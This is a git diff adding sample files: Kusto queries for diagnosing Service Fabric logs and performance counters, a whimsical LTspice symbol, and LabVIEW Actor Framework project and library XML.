+| order by Timestamp asc
+//| summarize count() by tostring(serviceUrl)
+//| where count_ > 5
+//| render timechart;
+
+// ReverseProxy by URL
+let extractPattern_requestId = @'([a-z0-9]{8}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{12})';
+let extractPattern_ServiceUrl = @'((?:https?:\/\/[^,?]*))';
+let extractPattern_Verb = @'(verb\s=\s)([^,]*)';
+let extractPattern_Started = @'';
+let extractPattern_Finished = @'';
+your_tablename_here
+| where Type contains "ReverseProxy"
+| where Text !contains "status code"
+| extend requestId = extract(extractPattern_requestId, 1, Text, typeof(string))
+| extend serviceUrl = extract_all(extractPattern_ServiceUrl, Text)
+| extend verb = extract(extractPattern_Verb, 2, Text, typeof(string))
+| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType, requestId, serviceUrl, verb
+| limit 5000
+| order by Timestamp asc
+//| summarize count() by requestId
+//| where count_ > 1
+//| summarize count() by xtime=bin(Timestamp,10s), tostring(serviceUrl)
+//| where count_ > 5
+//| render timechart;
+
+// ReverseProxy, Count by distinct URL
+let extractPattern_requestId = @'([a-z0-9]{8}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{12})';
+let extractPattern_ServiceUrl = @'((?:https?:\/\/[^,?]*))';
+let extractPattern_Verb = @'(verb\s=\s)([^,]*)';
+let extractPattern_Started = @'';
+let extractPattern_Finished = @'';
+your_tablename_here
+| where Type contains "ReverseProxy"
+| where Text !contains "status code"
+| extend requestId = extract(extractPattern_requestId, 1, Text, typeof(string))
+| extend serviceUrl = extract_all(extractPattern_ServiceUrl, Text)
+| extend verb = extract(extractPattern_Verb, 2, Text, typeof(string))
+| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType, requestId, serviceUrl, verb
+| limit 5000
+| order by tostring(serviceUrl)
+| summarize count() by tostring(serviceUrl)
+| order by count_
+
+
+// ReverseProxy, Track numner of requests handled at reverse proxy
+your_tablename_here
+| where Type contains "ReverseProxy.RequestReceived"
+| limit 5000
+| summarize count() by xtime=bin(Timestamp,60s)
+| render timechart;
+
+// ReverseProxy, Track numner of requests handled at reverse proxy
+let extractPattern_ServiceUrl = @'((?:https?:\/\/[^,?]*))';
+your_tablename_here
+| where Type contains "ReverseProxy.RequestReceived"
+| extend serviceUrl = extract_all(extractPattern_ServiceUrl, Text)
+| limit 5000
+| summarize count() by xtime=bin(Timestamp,60s), tostring(serviceUrl)
+| render timechart;
+
+// Remoting, Check if customer was creating multiple ClientFactories which can lead to High MEM and CPU
+let extractPattern_partitionId = @'([a-z0-9]{8}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{12})';
+your_tablename_here
+| where Type contains "ClientFactory" 
+| where Text contains "Invalid Client Rsp found in Cache"
+| extend partitionId = extract(extractPattern_partitionId, 1, Text, typeof(string))
+| summarize count() by PID, partitionId
+| where count_ >1
+| limit 5000
+
+// Remoting, Check if we are seeing retry requests (6.5 runtime)
+let extractPattern_partitionId = @'([a-z0-9]{8}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{12})';
+your_tablename_here
+| where Type contains "ServicePartitionClient" or (Type contains "ClientFactory" and Text contains "Invalid")
+| extend partitionId = extract(extractPattern_partitionId, 1, Text, typeof(string))
+//| summarize count() by PID, partitionId
+| limit 5000
+
+// FM Partition
+let filterPattern_partitionId = @'0695ac22-b06c-47b3-bb99-a743d5a58f66';
+your_tablename_here
+| where (Type contains strcat("FM.Background_FTUpdate@", filterPattern_partitionId)) 
+     or (Type startswith "FM." and Type contains filterPattern_partitionId)
+| limit 1000
+
+// Native Transport taking long time to send the request over the wire
+// Remoting, we can correlate clientfactory traces and resolve traces based on thread and time request issued.
+// Get the service name for which request was being made. If possible also the partition Id for which request was being made.
+// (Type~"BeginResolve" && ~"StateStore") || type~"ClientFactory" && ~"6eaed5c3-a5cc-4e64-8a3a-1c9a05bab074" || type~"Enqueue" 
+let extractPattern_partitionId = @'([a-z0-9]{8}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{12})';
+your_tablename_here
+| where (Type contains "BeginResolve" and Text contains "StateStore") or (Type contains "ClientFactory" and Text contains "bfe07486-d0a4-4ed5-b9f4-d452692ebb9b") or (Type contains "Enqueue")
+| extend partitionId = extract(extractPattern_partitionId, 1, Text, typeof(string))
+//| summarize count() by PID, partitionId
+| limit 5000
+
+// FM Partition
+let filterPattern_partitionId = @'0695ac22-b06c-47b3-bb99-a743d5a58f66';
+your_tablename_here
+| where (Type contains strcat("FM.Background_FTUpdate@", filterPattern_partitionId)) 
+     or (Type startswith "FM." and Type contains filterPattern_partitionId)
+| limit 1000
+
+// Transport
+let extractPattern_TextId = @'(@)(.*)';
+let extractPattern_requestId = @'([a-z0-9]{8}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{12})';
+your_tablename_here
+| extend TextId = extract(extractPattern_TextId, 2, Type, typeof(string))
+| extend requestId = extract(extractPattern_requestId, 1, Text, typeof(string))
+| where Type contains "Transport.Enqueue" or Type contains "Transport.Activity_Dispatch" or Type contains "Transport.Msg_Dispatch" 
+| order by TextId, requestId, Timestamp asc 
+| limit 10000
+//| summarize count() by xtime=bin(Timestamp,60s), tostring(TextId)
+//| render timechart;
+
+// Query Transport for currently configured cluster certificate
+your_tablename_here
+| where Type contains "Transport.SecurityContextSsl"
+| where Text contains "incoming cert" or Text contains "usage" or Text contains "VerifyCertificate"
+| limit 5000
diff --git a/samples/Kusto/kusto-example-queries.csl b/samples/Kusto/kusto-example-queries.csl
new file mode 100644
index 0000000000..ebcfe9adf3
--- /dev/null
+++ b/samples/Kusto/kusto-example-queries.csl
@@ -0,0 +1,187 @@
+// sf kusto examples
+search *
+|count
+
+//
+// show all nodes
+//
+'%kusto table name%'
+| distinct NodeName
+
+//
+// show all tables in db
+//
+.show tables
+
+//
+// drop table
+//
+.drop table '%kusto table name%'
+
+// 
+// SF TRACE LOGS
+//
+
+
+// display events by time range
+let startTime = datetime('2019-04-14T00:00');
+let endTime = datetime('2019-05-14T00:30');
+'%kusto table name%'
+| where Text contains "slow"
+| where Text !contains "FaultedDueToSlowProgress=False"
+| where Text !contains "SlowApiThreshold = 10.000"
+| where Text !contains "SlowApiMonitoringInterval = 2:00.000"
+| where Text !contains "Loaded property"
+| where Text !contains "ReplicatorConfig"
+| order by Timestamp asc
+| where Timestamp between (startTime .. endTime)
+| limit 5000
+| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType
+| summarize count() by xtime=bin(Timestamp,1s), NodeName
+
+// display events that are not informational
+let exclusion1 = "chaos";
+'%kusto table name%'
+| order by Timestamp asc
+| where Level !contains "info" and Level !contains "unknown" and Level !contains "verbose"
+| where Type !contains exclusion1 and Text !contains exclusion1
+| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType
+| limit 5000
+//| summarize count() by xtime=bin(Timestamp,1m), NodeName
+//| render timechart;
+
+
+// display 'fabric_e_*' events
+let filterPattern = "FABRIC_E_";
+let excludePattern = "FABRIC_E_CONNECTION_CLOSED"; // normal tcp connection close
+let excludePattern2 = "FABRIC_E_INVALID_SUBJECT_NAME"; // noise bug to be fixed in 6.5
+'%kusto table name%'
+| order by Timestamp asc
+| where Type matches regex filterPattern or Text matches regex filterPattern
+| where Type !contains excludePattern and Text !contains excludePattern
+| where Type !contains excludePattern2 and Text !contains excludePattern2
+| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType
+| limit 5000
+
+// regex example with match extraction / extend case insensitive
+// display DNS response times in new column
+let filterPattern = @'Dns.+Duration \((?P<ms> \d{2,5}) ms \)';
+'%kusto table name%'
+| where Type matches regex filterPattern or Text matches regex filterPattern
+| extend durationMs = extract(filterPattern, 1, Text, typeof(long))
+| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType, durationMs
+| where durationMs > 30
+| order by Timestamp asc
+//| order by durationMs desc
+| limit 5000
+
+// regex example with match case insensitive
+let filterPattern = @'lease';
+let regexPattern = strcat('(?i:',filterPattern,')'); // re2 case insensitive
+'%kusto table name%'
+| where Type matches regex regexPattern or Text matches regex regexPattern
+//| where Type contains filterPattern or Text contains filterPattern
+//| where Type matches regex filterPattern or Text matches regex filterPattern
+| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType
+| order by Timestamp asc
+| limit 5000
+
+// 
+// SF STORAGE TABLES
+//
+
+// gives similar view as storage explorer with each property split out into a separate column
+let T = '%kusto table name%';
+let DistinctEvents = T | distinct Timestamp, PartitionKey, RowKey;
+DistinctEvents
+    | join T on $left.Timestamp==$right.Timestamp and $left.PartitionKey==$right.PartitionKey and $left.RowKey==$right.RowKey
+    | extend propertyPack = pack(PropertyName, PropertyValue)
+    | summarize bag = make_bag(propertyPack) by Timestamp, PartitionKey, RowKey, RelativeUri
+    | evaluate bag_unpack(bag) 
+    | order by Timestamp asc
+
+// blob table distinct keys
+'%kusto table name%'
+| summarize count() by PartitionKey
+| order by PartitionKey asc 
+
+// blob table distinct properties
+'%kusto table name%'
+| summarize count() by PropertyName
+| order by PropertyName asc 
+
+// blob table example
+'%kusto table name%'
+| where PartitionKey contains "cm" //todatetime('2019-02-01T22:37:59.425')
+//| where Timstamp between(todatetime('2019-02-04T04:57') .. todatetime('2019-02-04T05:01'))
+//| where * contains "cm"
+//| where PropertyValue contains "W9492DevG_3"
+| order by Timestamp asc
+| project Timestamp, TypeTimeStamp, ETag, PartitionKey, RowKey, PropertyName, PropertyValue, RelativeUri
+
+// blob table join example
+// queries sf table for cluster manager 'cm' entries
+let t = [''%kusto table name%''];
+let e = t| where PropertyValue contains "cm"; // "nodeadded";
+e | join (t) on RowKey, $left.RowKey == $right.RowKey
+//e | join (t |where PropertyName contains "nodeName") on RowKey,$left.RowKey == $right.RowKey
+| project Timestamp, PropertyValue, PropertyName1, PropertyValue1, PartitionKey, RowKey, RelativeUri
+| order by Timestamp asc, PropertyName1 asc
+
+// blob table example
+// searches kusto _table property value for string
+// joins matching node name record based on RowKey
+let t = [''%kusto table name%''];
+//let Types = t;
+let e = t|where PropertyValue contains "The Data Collection Agent (DCA) does not have enough disk space to operate.";
+e | join (t |where PropertyName contains "nodeName") on RowKey, $left.RowKey == $right.RowKey
+|project Timestamp, PropertyValue, PropertyValue1
+| order by Timestamp asc
+| summarize count() by xtime=bin(Timestamp,1m), PropertyValue1
+| render timechart
+
+
+// 
+// SF PERFORMANCE COUNTERS
+//
+
+let startTime = ago(7d);
+let endTime = now();
+let T = ['counter_serviceFabricLogs'];
+T
+| where Timestamp between (startTime .. endTime)
+| where CounterName contains "Avg. Disk Queue Length" and CounterName contains "c:"
+//| where CounterName contains "% Idle Time" and CounterName contains "c:"
+//| where CounterName contains "Avg. Disk Queue Length" and CounterName contains "d:"
+//| where CounterName contains "% Idle Time" and CounterName contains "d:"
+//| where CounterName contains "TCP" and CounterName contains "reset"
+//| where CounterName contains "TCP" and CounterName contains "fail"
+//| where CounterName contains "TCP" and CounterName contains "segments received"
+//| where CounterName contains "TCP" and CounterName contains "segments retransmitted"
+//| where CounterName contains "TCP" and CounterName contains "segments sent"
+//| where CounterName contains "TCP" and CounterName contains "connections active"
+//| where CounterName contains "TCP" and CounterName contains "connections passive"
+//| where CounterName contains "Processor(_Total)"
+//| where CounterName contains "Paging File(_Total)\\% Usage"
+//| where CounterName contains "Available Mbytes"
+//| where CounterName contains "Pool Paged Bytes"
+//| where CounterName contains "Pool NonPaged Bytes"
+//| where CounterName contains "Process(Fabric)\\% Processor Time"
+//| where CounterName contains "Process(FabricDCA)\\% Processor Time"
+//| where CounterName contains "Items/Second inserted into the job queue"
+//| where CounterName contains "Items/Second failed to be inserted into the job queue"
+//| where CounterName  contains "Avg. time in ms an item spends in the queue/Operation" 
+//| where CounterName contains "#InBuild Replicas" 
+//| where CounterName contains "#Replicas" 
+//| where CounterName contains "#Service Types" 
+//| where CounterName contains "# of Active Callback"
+//| where CounterName contains "exceptions"
+//| where CounterName contains "Invocations/Sec"
+//| where CounterName contains "Items in the job queue"
+//| where NodeName == "_nt0_0"
+//| extend disk = extract(@"PhysicalDisk\(\d (?P<disk>.+:)\)\\Avg. Disk Queue Length", 1, CounterName)
+//| summarize percentiles(CounterValue,5,50,95) by xtime=bin(Timestamp,1m), NodeName //CounterName, disk
+//| where CounterValue > 75
+//| sample 5000
+| summarize avg(CounterValue) by xtime=bin(Timestamp,1m), NodeName //CounterName, NodeName, disk
+| render timechart;
diff --git a/samples/LTspice Symbol/random-shapes.asy b/samples/LTspice Symbol/random-shapes.asy
new file mode 100644
index 0000000000..9195d6dd87
--- /dev/null
+++ b/samples/LTspice Symbol/random-shapes.asy	
@@ -0,0 +1,24 @@
+Version 0
+SymbolType BLOCK
+LINE Normal 28 8 132 -36 2
+LINE Normal 132 -36 184 12 2
+LINE Normal 184 12 -224 56 2
+LINE Normal -224 56 -172 -32 2
+LINE Normal -172 -32 -248 -32 2
+RECTANGLE Normal -72 -56 60 -44 2
+RECTANGLE Normal -100 -56 -80 140 2
+RECTANGLE Normal -64 32 60 48 2
+RECTANGLE Normal -68 128 60 140 2
+RECTANGLE Normal 60 141 200 80 2
+CIRCLE Normal 136 24 172 60 2
+ARC Normal -240 16 -136 148 -240 16 -144 136 2
+TEXT -52 -80 Center 2 This is the work of a confused man.
+PIN -128 -16 TOP 8
+PINATTR PinName 1
+PINATTR SpiceOrder 1
+PIN -48 0 VBOTTOM 8
+PINATTR PinName 2
+PINATTR SpiceOrder 2
+PIN -224 80 LEFT 8
+PINATTR PinName I'm so lost.
+PINATTR SpiceOrder 3
diff --git a/samples/LabVIEW/Actor Framework Fundamentals.lvproj b/samples/LabVIEW/Actor Framework Fundamentals.lvproj
new file mode 100755
index 0000000000..106dc29ac7
--- /dev/null
+++ b/samples/LabVIEW/Actor Framework Fundamentals.lvproj	
@@ -0,0 +1,158 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<Project Type="Project" LVVersion="19008000">
+	<Property Name="CCSymbols" Type="Str">AF_Debug_Trace,FALSE;</Property>
+	<Property Name="NI.LV.All.SourceOnly" Type="Bool">true</Property>
+	<Property Name="NI.LV.ExampleFinder" Type="Str">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;nidna:ExampleProgram 
+    xmlns:nidna="http://www.ni.com/Schemas/DNA/1.0" 
+    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
+    xsi:schemaLocation="http://www.ni.com/Schemas/DNA/1.0 ..\DNA\1.0\NiExampleProgram.xsd" 
+    SchemaVersion="1.0" 
+    ContentType="EXAMPLE" 
+&lt;Title&gt;
+	&lt;Text Locale="US"&gt;Actor Framework Fundamentals.lvproj&lt;/Text&gt;
+&lt;/Title&gt;
+&lt;Description&gt;
+	&lt;Text Locale="US"&gt; Demonstrates the use of the Actor Framework to create a simulation of a coffee shop. The Actor Framework facilitates applications that consist of multiple, independent tasks that communicate with each other.&lt;/Text&gt;
+&lt;/Description&gt;
+&lt;Keywords&gt; 
+ &lt;Item&gt;actor&lt;/Item&gt; 
+ &lt;Item&gt;framework&lt;/Item&gt; 
+ &lt;Item&gt;af&lt;/Item&gt; 
+ &lt;Item&gt;class&lt;/Item&gt; 
+ &lt;Item&gt;actors&lt;/Item&gt; 
+ &lt;Item&gt;classes&lt;/Item&gt; 
+ &lt;Item&gt;frameworks&lt;/Item&gt; 
+ &lt;Item&gt;design&lt;/Item&gt; 
+ &lt;Item&gt;pattern&lt;/Item&gt; 
+ &lt;Item&gt;patterns&lt;/Item&gt; 
+&lt;/Keywords&gt; 
+&lt;Navigation&gt; 
+ &lt;Item&gt;3154&lt;/Item&gt; 
+ &lt;Item&gt;8419&lt;/Item&gt; 
+&lt;/Navigation&gt; 
+&lt;FileType&gt;LV Project&lt;/FileType&gt;
+&lt;Metadata&gt;
+&lt;Item Name="RTSupport"&gt;LV Project&lt;/Item&gt;
+&lt;/Metadata&gt;
+&lt;ProgrammingLanguages&gt;
+&lt;Item&gt;LabVIEW&lt;/Item&gt;
+&lt;/ProgrammingLanguages&gt;
+&lt;RequiredSoftware&gt;
+&lt;NiSoftware MinVersion="13.0"&gt;LabVIEW&lt;/NiSoftware&gt; 
+&lt;/RequiredSoftware&gt;</Property>
+	<Property Name="NI.Project.Description" Type="Str">Demonstrates the use of the Actor Framework to create a simulation of a coffee shop. The Actor Framework facilitates applications that consist of multiple, independent tasks that communicate with each other.</Property>
+	<Property Name="SMProvider.SMVersion" Type="Int">201310</Property>
+	<Item Name="My Computer" Type="My Computer">
+		<Property Name="IOScan.Faults" Type="Str"></Property>
+		<Property Name="IOScan.NetVarPeriod" Type="UInt">100</Property>
+		<Property Name="IOScan.NetWatchdogEnabled" Type="Bool">false</Property>
+		<Property Name="IOScan.Period" Type="UInt">10000</Property>
+		<Property Name="IOScan.PowerupMode" Type="UInt">0</Property>
+		<Property Name="IOScan.Priority" Type="UInt">9</Property>
+		<Property Name="IOScan.ReportModeConflict" Type="Bool">true</Property>
+		<Property Name="IOScan.StartEngineOnDeploy" Type="Bool">false</Property>
+		<Property Name="NI.SortType" Type="Int">1</Property>
+		<Property Name="server.app.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="server.control.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="server.tcp.enabled" Type="Bool">false</Property>
+		<Property Name="server.tcp.port" Type="Int">0</Property>
+		<Property Name="server.tcp.serviceName" Type="Str">My Computer/VI Server</Property>
+		<Property Name="server.tcp.serviceName.default" Type="Str">My Computer/VI Server</Property>
+		<Property Name="server.vi.callsEnabled" Type="Bool">true</Property>
+		<Property Name="server.vi.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="specify.custom.address" Type="Bool">false</Property>
+		<Item Name="Actors" Type="Folder">
+			<Item Name="People" Type="Folder">
+				<Property Name="NI.SortType" Type="Int">3</Property>
+				<Item Name="Customers" Type="Folder">
+					<Item Name="Customer.lvlib" Type="Library" URL="../Classes/Customer.lvlib"/>
+					<Item Name="Customer With Cell Phone.lvlib" Type="Library" URL="../Classes/Customer/Children/Customer With Cell Phone.lvlib"/>
+				</Item>
+				<Item Name="Workers" Type="Folder">
+					<Item Name="Barista.lvclass" Type="LVClass" URL="../Classes/Worker/Barista/Barista.lvclass"/>
+					<Item Name="Cashier.lvclass" Type="LVClass" URL="../Classes/Worker/Cashier/Cashier.lvclass"/>
+					<Item Name="Worker.lvlib" Type="Library" URL="../Classes/Worker.lvlib"/>
+				</Item>
+				<Item Name="Person.lvlib" Type="Library" URL="../Classes/Person.lvlib"/>
+			</Item>
+			<Item Name="Coffee Shop.lvlib" Type="Library" URL="../Classes/Coffee Shop.lvlib"/>
+			<Item Name="Work Dispatcher.lvlib" Type="Library" URL="../Classes/Work Dispatcher.lvlib"/>
+		</Item>
+		<Item Name="Support Classes (non-actors)" Type="Folder">
+			<Item Name="Beverage.lvclass" Type="LVClass" URL="../Classes/Beverages/Beverage/Beverage.lvclass"/>
+			<Item Name="Entity Table.lvclass" Type="LVClass" URL="../Classes/Entity Table/Entity Table.lvclass"/>
+			<Item Name="Order Item.lvclass" Type="LVClass" URL="../Classes/Order/Order Item.lvclass"/>
+			<Item Name="Order.lvclass" Type="LVClass" URL="../Classes/Order/Order.lvclass"/>
+		</Item>
+		<Item Name="Utilities" Type="Folder">
+			<Property Name="NI.SortType" Type="Int">1</Property>
+			<Item Name="Find Type.vi" Type="VI" URL="../Utilities/Find Type.vi"/>
+			<Item Name="Names.txt" Type="Document" URL="../Utilities/Names.txt"/>
+			<Item Name="Random Name Generator.vi" Type="VI" URL="../Utilities/Random Name Generator.vi"/>
+		</Item>
+		<Item Name="Launcher.vi" Type="VI" URL="../Launcher.vi"/>
+		<Item Name="Readme.html" Type="Document" URL="../Documentation/Readme.html"/>
+		<Item Name="Dependencies" Type="Dependencies">
+			<Item Name="vi.lib" Type="Folder">
+				<Property Name="NI.SortType" Type="Int">1</Property>
+				<Item Name="Actor Framework.lvlib" Type="Library" URL="/&lt;vilib&gt;/ActorFramework/Actor Framework.lvlib"/>
+				<Item Name="BuildHelpPath.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/BuildHelpPath.vi"/>
+				<Item Name="Check Special Tags.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Check Special Tags.vi"/>
+				<Item Name="Clear Errors.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Clear Errors.vi"/>
+				<Item Name="Close File+.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/file.llb/Close File+.vi"/>
+				<Item Name="compatReadText.vi" Type="VI" URL="/&lt;vilib&gt;/_oldvers/_oldvers.llb/compatReadText.vi"/>
+				<Item Name="Convert property node font to graphics font.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Convert property node font to graphics font.vi"/>
+				<Item Name="Details Display Dialog.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Details Display Dialog.vi"/>
+				<Item Name="DialogType.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/DialogType.ctl"/>
+				<Item Name="DialogTypeEnum.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/DialogTypeEnum.ctl"/>
+				<Item Name="Error Cluster From Error Code.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Error Cluster From Error Code.vi"/>
+				<Item Name="Error Code Database.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Error Code Database.vi"/>
+				<Item Name="ErrWarn.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/ErrWarn.ctl"/>
+				<Item Name="eventvkey.ctl" Type="VI" URL="/&lt;vilib&gt;/event_ctls.llb/eventvkey.ctl"/>
+				<Item Name="Find First Error.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Find First Error.vi"/>
+				<Item Name="Find Tag.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Find Tag.vi"/>
+				<Item Name="Format Message String.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Format Message String.vi"/>
+				<Item Name="General Error Handler Core CORE.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/General Error Handler Core CORE.vi"/>
+				<Item Name="General Error Handler.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/General Error Handler.vi"/>
+				<Item Name="Get LV Class Name.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/LVClass/Get LV Class Name.vi"/>
+				<Item Name="Get String Text Bounds.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Get String Text Bounds.vi"/>
+				<Item Name="Get Text Rect.vi" Type="VI" URL="/&lt;vilib&gt;/picture/picture.llb/Get Text Rect.vi"/>
+				<Item Name="GetHelpDir.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/GetHelpDir.vi"/>
+				<Item Name="GetRTHostConnectedProp.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/GetRTHostConnectedProp.vi"/>
+				<Item Name="High Resolution Relative Seconds.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/High Resolution Relative Seconds.vi"/>
+				<Item Name="Longest Line Length in Pixels.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Longest Line Length in Pixels.vi"/>
+				<Item Name="LVBoundsTypeDef.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/miscctls.llb/LVBoundsTypeDef.ctl"/>
+				<Item Name="LVRectTypeDef.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/miscctls.llb/LVRectTypeDef.ctl"/>
+				<Item Name="NI_SystemLogging.lvlib" Type="Library" URL="/&lt;vilib&gt;/Utility/SystemLogging/NI_SystemLogging.lvlib"/>
+				<Item Name="Not Found Dialog.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Not Found Dialog.vi"/>
+				<Item Name="Open File+.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/file.llb/Open File+.vi"/>
+				<Item Name="Read Delimited Spreadsheet (DBL).vi" Type="VI" URL="/&lt;vilib&gt;/Utility/file.llb/Read Delimited Spreadsheet (DBL).vi"/>
+				<Item Name="Read Delimited Spreadsheet (I64).vi" Type="VI" URL="/&lt;vilib&gt;/Utility/file.llb/Read Delimited Spreadsheet (I64).vi"/>
+				<Item Name="Read Delimited Spreadsheet (string).vi" Type="VI" URL="/&lt;vilib&gt;/Utility/file.llb/Read Delimited Spreadsheet (string).vi"/>
+				<Item Name="Read Delimited Spreadsheet.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/file.llb/Read Delimited Spreadsheet.vi"/>
+				<Item Name="Read File+ (string).vi" Type="VI" URL="/&lt;vilib&gt;/Utility/file.llb/Read File+ (string).vi"/>
+				<Item Name="Read Lines From File (with error IO).vi" Type="VI" URL="/&lt;vilib&gt;/Utility/file.llb/Read Lines From File (with error IO).vi"/>
+				<Item Name="Search and Replace Pattern.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Search and Replace Pattern.vi"/>
+				<Item Name="Self-Addressed Msg.lvclass" Type="LVClass" URL="/&lt;vilib&gt;/ActorFramework/Self-Addressed Msg/Self-Addressed Msg.lvclass"/>
+				<Item Name="Set Bold Text.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Set Bold Text.vi"/>
+				<Item Name="Set String Value.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Set String Value.vi"/>
+				<Item Name="Simple Error Handler.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Simple Error Handler.vi"/>
+				<Item Name="TagReturnType.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/TagReturnType.ctl"/>
+				<Item Name="Three Button Dialog CORE.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Three Button Dialog CORE.vi"/>
+				<Item Name="Three Button Dialog.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Three Button Dialog.vi"/>
+				<Item Name="Time-Delay Override Options.ctl" Type="VI" URL="/&lt;vilib&gt;/ActorFramework/Time-Delayed Send Message/Time-Delay Override Options.ctl"/>
+				<Item Name="Time-Delayed Send Message Core.vi" Type="VI" URL="/&lt;vilib&gt;/ActorFramework/Time-Delayed Send Message/Time-Delayed Send Message Core.vi"/>
+				<Item Name="Time-Delayed Send Message.vi" Type="VI" URL="/&lt;vilib&gt;/ActorFramework/Time-Delayed Send Message/Time-Delayed Send Message.vi"/>
+				<Item Name="Trim Whitespace.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Trim Whitespace.vi"/>
+				<Item Name="whitespace.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/whitespace.ctl"/>
+			</Item>
+			<Item Name="AF Debug.lvlib" Type="Library" URL="/&lt;resource&gt;/AFDebug/AF Debug.lvlib"/>
+			<Item Name="LV Config Read String.vi" Type="VI" URL="/&lt;resource&gt;/dialog/lvconfig.llb/LV Config Read String.vi"/>
+			<Item Name="systemLogging.dll" Type="Document" URL="systemLogging.dll">
+				<Property Name="NI.PreserveRelativePath" Type="Bool">true</Property>
+			</Item>
+		</Item>
+		<Item Name="Build Specifications" Type="Build"/>
+	</Item>
+</Project>
diff --git a/samples/LabVIEW/Coffee Shop.lvlib b/samples/LabVIEW/Coffee Shop.lvlib
new file mode 100755
index 0000000000..57838ec5f4
--- /dev/null
+++ b/samples/LabVIEW/Coffee Shop.lvlib	
@@ -0,0 +1,18 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<Library LVVersion="19008000">
+	<Property Name="NI.Lib.Icon" Type="Bin">'1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!(]!!!*Q(C=\&gt;7R=2MR%!81N=?"5X&lt;A91P&lt;!FNA#^M#5Y6M96NA"R[WM#WQ"&lt;9A0ZYR'E?G!WPM1$AN&gt;@S(!ZZQG&amp;0%VLZ'@)H8:_X\&lt;^P(^7@8H\4Y;"`NX\;8JZPUX@@MJXC]C.3I6K5S(F/^DHTE)R`ZS%@?]J;XP/5N&lt;XH*3V\SEJ?]Z#F0?=J4HP+5&lt;Y=]Z#%0/&gt;+9@%QU"BU$D-YI-4[':XC':XB]D?%:HO%:HO(2*9:H?):H?)&lt;(&lt;4%]QT-]QT-]BNIEMRVSHO%R@$20]T20]T30+;.Z'K".VA:OAW"%O^B/GK&gt;ZGM&gt;J.%`T.%`T.)`,U4T.UTT.UTROW6;F.]XDE0-9*IKH?)KH?)L(U&amp;%]R6-]R6-]JIPC+:[#+"/7Q2'CX&amp;1[F#`&amp;5TR_2@%54`%54`'YN$WBWF&lt;GI8E==J\E3:\E3:\E-51E4`)E4`)EDW%D?:)H?:)H?5Q6S:-]S:-A;6,42RIMX:A[J3"Z`'S\*&lt;?HV*MENS.C&lt;&gt;Z9GT,7:IOVC7*NDFA00&gt;&lt;$D0719CV_L%7.N6CR&amp;C(7(R=,(1M4;Z*9.T][RNXH46X62:X632X61?X6\H(L8_ZYP^`D&gt;LP&amp;^8K.S_53Z`-Z4K&gt;4()`(/"Q/M&gt;`P9\@&lt;P&lt;U'PDH?8AA`XUMPTP_EXOF`[8`Q&lt;IT0]?OYVOA(5/(_Z!!!!!!</Property>
+	<Property Name="NI.Lib.SourceVersion" Type="Int">419463168</Property>
+	<Property Name="NI.Lib.Version" Type="Str">1.0.0.0</Property>
+	<Property Name="NI.LV.All.SourceOnly" Type="Bool">true</Property>
+	<Item Name="Messages for this Actor" Type="Folder">
